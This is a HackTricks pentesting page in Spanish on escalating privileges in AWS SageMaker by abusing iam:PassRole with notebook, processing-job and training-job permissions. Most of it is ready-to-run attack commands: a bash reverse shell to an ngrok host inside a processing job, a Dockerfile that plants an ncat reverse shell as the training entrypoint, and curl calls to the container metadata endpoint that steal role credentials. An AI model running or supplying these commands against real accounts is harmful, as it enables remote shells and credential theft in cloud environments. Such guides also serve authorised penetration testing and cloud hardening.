AWS - Sagemaker Privesc

AWS - Sagemaker Privesc

Support HackTricks

iam:PassRole, sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

Comienza a crear un cuaderno con el rol de IAM para acceder adjunto a él:

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

La respuesta debe contener un campo NotebookInstanceArn, que contendrá el ARN de la nueva instancia de notebook creada. Luego podemos usar la API create-presigned-notebook-instance-url para generar una URL que podemos usar para acceder a la instancia de notebook una vez que esté lista:

aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

Navega a la URL con el navegador y haz clic en `Open JupyterLab` en la parte superior derecha, luego desplázate hacia abajo a la pestaña “Launcher” y en la sección “Other”, haz clic en el botón “Terminal”.

Ahora es posible acceder a las credenciales de metadatos del Rol IAM.

Impacto Potencial: Privesc al rol de servicio de sagemaker especificado.

sagemaker:CreatePresignedNotebookInstanceUrl

Si hay Jupyter notebooks ya en ejecución en él y puedes listarlos con sagemaker:ListNotebookInstances (o descubrirlos de cualquier otra manera). Puedes generar una URL para ellos, acceder a ellos y robar las credenciales como se indicó en la técnica anterior.

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Impacto Potencial: Privesc al rol de servicio de sagemaker adjunto.

sagemaker:CreateProcessingJob,iam:PassRole

Un atacante con esos permisos puede hacer que sagemaker ejecute un processingjob con un rol de sagemaker adjunto. El atacante puede indicar la definición del contenedor que se ejecutará en una instancia de cuenta ECS gestionada por AWS, y robar las credenciales del rol de IAM adjunto.

# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

Impacto Potencial: Privesc al rol de servicio de sagemaker especificado.

sagemaker:CreateTrainingJob, iam:PassRole

Un atacante con esos permisos podrá crear un trabajo de entrenamiento, ejecutando un contenedor arbitrario en él con un rol adjunto. Por lo tanto, el atacante podrá robar las credenciales del rol.

Este escenario es más difícil de explotar que el anterior porque necesitas generar una imagen de Docker que enviará el rev shell o las credenciales directamente al atacante (no puedes indicar un comando de inicio en la configuración del trabajo de entrenamiento).

# Create docker image
mkdir /tmp/rev
## Note that the trainning job is going to call an executable called "train"
## That's why I'm putting the rev shell in /bin/train
## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# Upload it to ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
# Create trainning job with the docker image created
aws sagemaker create-training-job \
--training-job-name privescjob \
--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
--algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
--role-arn <role-arn> \
--output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
--stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

Impacto Potencial: Privesc al rol de servicio de sagemaker especificado.

sagemaker:CreateHyperParameterTuningJob, iam:PassRole

Un atacante con esos permisos podrá (potencialmente) crear un trabajo de entrenamiento de hiperparámetros, ejecutando un contenedor arbitrario en él con un rol adjunto. No he explotado debido a la falta de tiempo, pero parece similar a las explotaciones anteriores, siéntete libre de enviar un PR con los detalles de la explotación.

Referencias

Apoya a HackTricks

Last updated